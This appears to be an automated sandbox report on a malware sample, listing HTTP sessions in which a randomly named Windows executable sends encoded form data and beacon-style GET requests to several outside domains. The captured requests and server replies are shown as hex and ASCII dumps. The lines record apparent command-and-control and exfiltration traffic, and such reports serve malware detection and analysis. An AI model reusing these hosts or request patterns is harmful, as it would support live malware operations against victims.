7SiXdaJYoxCuy/ZYv0rvYXQ6/Pwbm7rxERSojEJgvW8+xcYCEm3 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49724	188.114.96.3	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:45:22.809087038 CEST	540	OUT	GET /9apq/?gHCXmDU=LHjDDAx19xzpDFr0PiWSUWbLpibiWm2OcttpvXYQA3jhT8+aBAnUV8C6f3e3WqOmZ67HZ5Oe4rCfD6agN7j3kbNhxDE+C6RgPFZIWir2F/mXh+rIzbzvAjzVwKDU5y7xZw==&Gh9=g8u8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.cc101.pro Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Sep 30, 2024 18:45:24.969702959 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 16:45:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Fri, 27 Sep 2024 08:35:58 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GbcmGyNdv6GPfTxv7r8YhlQqnTFCW0oKkcqWzylUAZRb0NbdX71PPNZ0klWtkRY1WJ1gSF8tzYGxqplUMxje1nWiGOraTfpYAEHnX2WLm6WngHiN2CxDgqVUU162XQ7c"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5aedc09741a48-EWR Data Raw: 64 65 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 74 69 74 6c 65 3e e6 ac a2 e8 bf 8e e5 85 89 e4 b8 b4 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 36 65 61 65 62 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 3a 20 32 30 30 70 78 20 61 75 74 6f 20 30 3b 70 61 64 64 69 6e 67 3a 20 30 20 30 20 32 32 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 35 70 78 20 31 35 70 78 20 35 70 78 20 35 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 62 6f 78 2d 73 68 61 64 [TRUNCATED] Data Ascii: de0<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0"><title></title></head><body style="background: #e6eaeb;"><div style="position: relative;margin: 200px auto 0;padding: 0 0 22px;border-radius: 15px 15px 5px 5px;background: #fff;box-shadow: 10px 20px 20px rgba(101, 102, 103, .75);width:95%;max-width: 400px;color: #fff;text-align: center;"><canvas id="canvas" width="200" height="200" style="display:block;position:absolute;top:-100px;left:0;right:0;margin:0 auto;background:#fff;border-radius:50%;"></ca
Sep 30, 2024 18:45:24.969793081 CEST	1236	IN	Data Raw: 6e 76 61 73 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 32 34 32 34 32 34 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 31 31 70 78 20 20 30 20 32 30 70 78 22 3e e9 80 9a e8 bf 87 e5 ae 89 e5 Data Ascii: nvas><div style="color: #242424;font-size: 28px;padding:111px 0 20px"></div><div style="margin: 25px 0 14px;color: #7b7b7b;font-size: 18px;">AG直营信誉保证</div><a id
Sep 30, 2024 18:45:24.969829082 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 63 74 78 2e 73 74 72 6f 6b 65 53 74 79 6c 65 20 3d 20 22 23 64 31 64 32 64 34 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 74 78 2e 61 72 63 28 30 2c 20 30 2c 20 72 61 73 20 2a 20 30 2e 38 2c 20 30 2c Data Ascii: ctx.strokeStyle = "#d1d2d4"; ctx.arc(0, 0, ras * 0.8, 0, Math.PI * 2, false); ctx.stroke(); ctx.strokeStyle = "#00a2ff "; ctx.lineWidth = ras * 0.12;
Sep 30, 2024 18:45:24.969862938 CEST	485	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 64 65 78 20 2b 3d 20 31 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: index += 1 } else { index += 3 } setTimeout(drawFrame, 20) } else if (index != 100) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49725	31.31.196.17	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:45:30.107839108 CEST	806	OUT	POST /66j2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dverkom.store Origin: http://www.dverkom.store Referer: http://www.dverkom.store/66j2/ Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 4b 72 42 6a 69 41 72 69 54 34 78 67 75 77 36 4a 30 33 6a 59 49 58 66 6e 4d 35 6d 37 4a 35 36 42 50 76 38 4e 41 30 50 41 47 43 65 37 35 4c 4d 61 7a 57 2b 4a 68 43 6e 41 49 66 69 37 54 6f 4e 7a 6c 62 6e 47 62 58 35 71 33 7a 52 59 62 59 65 59 4b 6c 31 54 41 4d 68 67 6a 35 4d 57 76 6e 71 4d 67 50 73 75 7a 47 44 36 79 54 32 58 2b 35 7a 66 41 6a 6f 41 2f 42 37 6e 2b 39 33 76 77 48 6b 6c 64 44 4d 4d 59 53 4e 77 38 57 52 59 70 4f 69 4a 4d 77 4c 37 51 31 6f 32 61 47 48 4e 71 2f 67 72 77 2f 51 47 63 75 38 63 55 41 4b 46 35 43 41 33 72 5a 79 35 51 31 51 56 35 63 7a 69 48 38 4d 73 74 58 46 39 72 6e 55 3d Data Ascii: gHCXmDU=KrBjiAriT4xguw6J03jYIXfnM5m7J56BPv8NA0PAGCe75LMazW+JhCnAIfi7ToNzlbnGbX5q3zRYbYeYKl1TAMhgj5MWvnqMgPsuzGD6yT2X+5zfAjoA/B7n+93vwHkldDMMYSNw8WRYpOiJMwL7Q1o2aGHNq/grw/QGcu8cUAKF5CA3rZy5Q1QV5cziH8MstXF9rnU=
Sep 30, 2024 18:45:30.783900976 CEST	375	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 30 Sep 2024 16:45:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49726	31.31.196.17	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:45:33.269056082 CEST	826	OUT	POST /66j2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dverkom.store Origin: http://www.dverkom.store Referer: http://www.dverkom.store/66j2/ Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 4b 72 42 6a 69 41 72 69 54 34 78 67 73 52 4b 4a 32 57 6a 59 64 48 66 6b 4a 35 6d 37 41 5a 36 2f 50 76 67 4e 41 31 4c 71 47 77 4b 37 2b 76 45 61 77 53 71 4a 78 53 6e 41 63 76 69 2b 4f 59 4e 38 6c 61 62 4f 62 53 35 71 33 33 42 59 62 64 79 59 4c 55 31 51 53 73 68 69 75 5a 4d 59 72 6e 71 4d 67 50 73 75 7a 43 72 63 79 54 65 58 2f 4b 37 66 41 43 6f 50 79 68 37 6b 39 39 33 76 37 6e 6b 66 64 44 4e 5a 59 58 55 6e 38 55 5a 59 70 4d 36 4a 4d 42 4c 30 4a 6c 6f 77 46 57 47 6e 68 71 4a 30 34 73 73 41 5a 39 46 44 44 42 2b 6d 78 55 74 64 78 37 36 52 44 56 38 74 70 50 37 56 57 4d 74 46 33 30 56 4e 31 77 44 68 6c 43 58 50 54 77 4b 47 41 77 64 66 6c 6a 6f 69 45 39 6f 43 Data Ascii: gHCXmDU=KrBjiAriT4xgsRKJ2WjYdHfkJ5m7AZ6/PvgNA1LqGwK7+vEawSqJxSnAcvi+OYN8labObS5q33BYbdyYLU1QSshiuZMYrnqMgPsuzCrcyTeX/K7fACoPyh7k993v7nkfdDNZYXUn8UZYpM6JMBL0JlowFWGnhqJ04ssAZ9FDDB+mxUtdx76RDV8tpP7VWMtF30VN1wDhlCXPTwKGAwdfljoiE9oC
Sep 30, 2024 18:45:33.928003073 CEST	375	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 30 Sep 2024 16:45:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49727	31.31.196.17	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:45:35.819681883 CEST	1843	OUT	POST /66j2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dverkom.store Origin: http://www.dverkom.store Referer: http://www.dverkom.store/66j2/ Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 4b 72 42 6a 69 41 72 69 54 34 78 67 73 52 4b 4a 32 57 6a 59 64 48 66 6b 4a 35 6d 37 41 5a 36 2f 50 76 67 4e 41 31 4c 71 47 78 79 37 2b 64 63 61 79 7a 71 4a 6a 43 6e 41 41 2f 69 2f 4f 59 4e 62 6c 62 7a 77 62 53 45 64 33 31 4a 59 61 2f 36 59 4d 67 70 51 5a 73 68 69 78 4a 4d 56 76 6e 71 46 67 50 38 69 7a 47 50 63 79 54 65 58 2f 4c 4c 66 4a 7a 6f 50 30 68 37 6e 2b 39 33 7a 77 48 6c 77 64 44 6b 69 59 54 4a 61 2f 6b 35 59 71 73 71 4a 4b 6e 6e 30 57 31 6f 79 45 57 47 2f 68 71 4e 52 34 73 77 39 5a 38 68 6c 44 47 53 6d 79 46 4d 30 67 71 57 4c 5a 45 42 4c 36 4f 76 75 44 37 4e 33 6f 45 6b 35 76 67 4c 6a 6f 77 44 54 63 33 58 45 4a 69 45 32 7a 79 38 78 4e 4c 42 57 47 4c 74 4b 47 49 66 78 59 33 56 76 6a 37 4c 34 32 4e 55 58 30 71 47 71 67 58 58 42 4c 50 6d 61 6e 54 55 38 69 68 69 4d 39 52 70 48 68 71 6e 4c 5a 50 54 47 44 39 49 70 36 45 73 62 4f 2b 30 34 79 71 57 51 6d 41 76 36 64 57 64 5a 51 48 39 67 41 2b 6e 74 48 70 34 69 42 66 46 52 6d 32 2f 72 63 70 34 58 33 35 31 34 4f 58 69 57 5a 30 [TRUNCATED] Data Ascii: gHCXmDU=KrBjiAriT4xgsRKJ2WjYdHfkJ5m7AZ6/PvgNA1LqGxy7+dcayzqJjCnAA/i/OYNblbzwbSEd31JYa/6YMgpQZshixJMVvnqFgP8izGPcyTeX/LLfJzoP0h7n+93zwHlwdDkiYTJa/k5YqsqJKnn0W1oyEWG/hqNR4sw9Z8hlDGSmyFM0gqWLZEBL6OvuD7N3oEk5vgLjowDTc3XEJiE2zy8xNLBWGLtKGIfxY3Vvj7L42NUX0qGqgXXBLPmanTU8ihiM9RpHhqnLZPTGD9Ip6EsbO+04yqWQmAv6dWdZQH9gA+ntHp4iBfFRm2/rcp4X3514OXiWZ0H7G5zVOze5hL9b5yOvdrrtBtrRMclwyWXPomugD/7qB4ZJE7m2NGzYXCbigQuMuplA3cE8K8AK99k33++4qtS3F5b8yUyV/5HlrSgfOdSZGdKXlkP6NiLlRUTvaallIb579q6JaHqjV0ZeQElY2Z86Vt5FSyDuZYhnbSDoSBPy9wSVqO2Jv6EBBOOBRjrwXKFyovUnI6HvoAqhKQYb83TtRSFeA2ZKsZC78tVR0l/9QnkCaorroyeBflNo4Gv4RynbMfNoRmsV3ZiI5AI6GIP8uMgej2MucmEFq4FS6at2h6I7p9m14pOpS4+umgmuMbs0DVJCrqFfZK/AFtBqADVGOTI1lY43CXuFMEJTHG83lHlKxgYKc+a/+Dzie6IxDTMNuo0DXa+NF5bl+WWOVsXHp6cdUbgIDMyF/3XPE6rXwxzsLW1UXbL/q2gBcyiXWP4pALlmzX+hGgw7MEthWpE0HDhi+mhC2kbqO9qx1dIfnhvWP07B8kh0Dz2AmSs8h2IK4jsCoDbldmpnRZPbQkbIprIvCTfvdUo1vXsEKQ3v/Qi91rnWnxK5hBnzMeSHF8xeWscul3hVzyXxOuputrn46VwsLTy3IZzk5XvP9DJEepRs3U1ANSLpJrH7jQag0MjbfwV8GWK18/H3/kBDq0omrn8p6Jv59/EH [TRUNCATED]
Sep 30, 2024 18:45:36.499644041 CEST	375	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 30 Sep 2024 16:45:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49728	31.31.196.17	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:45:38.367938042 CEST	544	OUT	GET /66j2/?Gh9=g8u8&gHCXmDU=HppDh2G+RtpfmDCT0lrSNXbmIaO8PdTsBI8zXGv7BhGUw+IQzheJ3lftE5yUT4NGt8aZPQR/20xdb9u1HnRpXJ4mqLkzjkiMvvw05xDKhjbhyfyxEkkTngu+5afP1ml7ew== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.dverkom.store Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Sep 30, 2024 18:45:39.050970078 CEST	733	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 30 Sep 2024 16:45:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 [TRUNCATED] Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49729	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:45:44.357346058 CEST	821	OUT	POST /8y34/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.crowsecurity.cloud Origin: http://www.crowsecurity.cloud Referer: http://www.crowsecurity.cloud/8y34/ Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 61 57 64 4d 69 43 37 4a 4a 32 78 68 42 2f 6f 64 6f 7a 41 4d 34 6b 30 43 30 47 71 41 6f 79 41 37 68 51 4c 6f 5a 49 36 67 43 43 73 36 6b 33 30 4e 35 49 4d 5a 62 30 7a 6d 7a 73 6c 5a 47 4d 72 6c 33 48 54 44 6e 38 70 4a 67 2b 77 31 41 6f 61 52 4d 36 42 5a 43 7a 52 59 4f 73 37 71 78 6c 76 51 63 4b 6e 62 33 43 45 50 61 66 48 50 59 6a 7a 35 73 53 34 39 6c 38 72 36 61 37 39 64 4d 43 47 70 4e 48 6f 43 58 70 55 48 69 35 36 69 4f 4e 31 42 77 74 39 33 4a 6f 35 56 6b 78 51 79 38 31 4b 30 59 49 63 6a 66 41 33 47 42 4f 53 6c 66 51 55 32 68 6f 43 4b 64 31 46 71 73 75 61 2f 6b 63 6c 46 62 33 59 48 77 7a 6f 3d Data Ascii: gHCXmDU=aWdMiC7JJ2xhB/odozAM4k0C0GqAoyA7hQLoZI6gCCs6k30N5IMZb0zmzslZGMrl3HTDn8pJg+w1AoaRM6BZCzRYOs7qxlvQcKnb3CEPafHPYjz5sS49l8r6a79dMCGpNHoCXpUHi56iON1Bwt93Jo5VkxQy81K0YIcjfA3GBOSlfQU2hoCKd1Fqsua/kclFb3YHwzo=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49730	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:45:46.897329092 CEST	841	OUT	POST /8y34/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.crowsecurity.cloud Origin: http://www.crowsecurity.cloud Referer: http://www.crowsecurity.cloud/8y34/ Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 61 57 64 4d 69 43 37 4a 4a 32 78 68 41 66 30 64 74 51 6f 4d 74 55 30 64 37 6d 71 41 69 53 42 79 68 51 33 6f 5a 4a 2b 77 58 67 34 36 6c 57 45 4e 34 4e 67 5a 4f 30 7a 6d 35 4d 6c 63 49 73 72 2b 33 48 66 4c 6e 35 52 4a 67 2b 30 31 41 73 57 52 4d 4c 42 65 44 6a 52 65 45 38 37 6b 2f 46 76 51 63 4b 6e 62 33 43 51 31 61 66 50 50 5a 54 6a 35 73 77 41 2b 73 63 72 35 64 37 39 64 49 43 47 79 4e 48 6f 67 58 72 67 39 69 36 43 69 4f 4e 46 42 77 35 6f 68 53 59 35 66 37 68 52 34 77 58 48 41 53 59 49 51 53 52 58 43 56 74 57 49 54 47 35 63 37 4b 4b 69 4f 56 70 53 38 39 53 49 31 73 45 73 42 55 49 33 75 6b 2f 62 2f 35 6e 4d 6f 34 33 42 36 62 70 62 62 7a 39 35 5a 33 52 69 Data Ascii: gHCXmDU=aWdMiC7JJ2xhAf0dtQoMtU0d7mqAiSByhQ3oZJ+wXg46lWEN4NgZO0zm5MlcIsr+3HfLn5RJg+01AsWRMLBeDjReE87k/FvQcKnb3CQ1afPPZTj5swA+scr5d79dICGyNHogXrg9i6CiONFBw5ohSY5f7hR4wXHASYIQSRXCVtWITG5c7KKiOVpS89SI1sEsBUI3uk/b/5nMo43B6bpbbz95Z3Ri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49731	3.33.130.190	80	1220	C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:45:49.449060917 CEST	1858	OUT	POST /8y34/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.crowsecurity.cloud Origin: http://www.crowsecurity.cloud Referer: http://www.crowsecurity.cloud/8y34/ Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH) Data Raw: 67 48 43 58 6d 44 55 3d 61 57 64 4d 69 43 37 4a 4a 32 78 68 41 66 30 64 74 51 6f 4d 74 55 30 64 37 6d 71 41 69 53 42 79 68 51 33 6f 5a 4a 2b 77 58 68 41 36 6b 6b 4d 4e 36 71 30 5a 63 45 7a 6d 69 4d 6c 64 49 73 71 73 33 48 48 31 6e 35 73 72 67 38 38 31 43 50 65 52 4f 35 6c 65 4b 6a 52 65 4d 63 37 6c 78 6c 76 2f 63 4b 57 63 33 43 41 31 61 66 50 50 5a 52 72 35 72 69 34 2b 71 63 72 36 61 37 39 52 4d 43 48 64 4e 44 46 64 58 72 6b 58 69 4c 69 69 4f 70 68 42 2f 71 51 68 50 6f 35 5a 34 68 51 74 77 58 4c 66 53 5a 6c 70 53 52 79 76 56 74 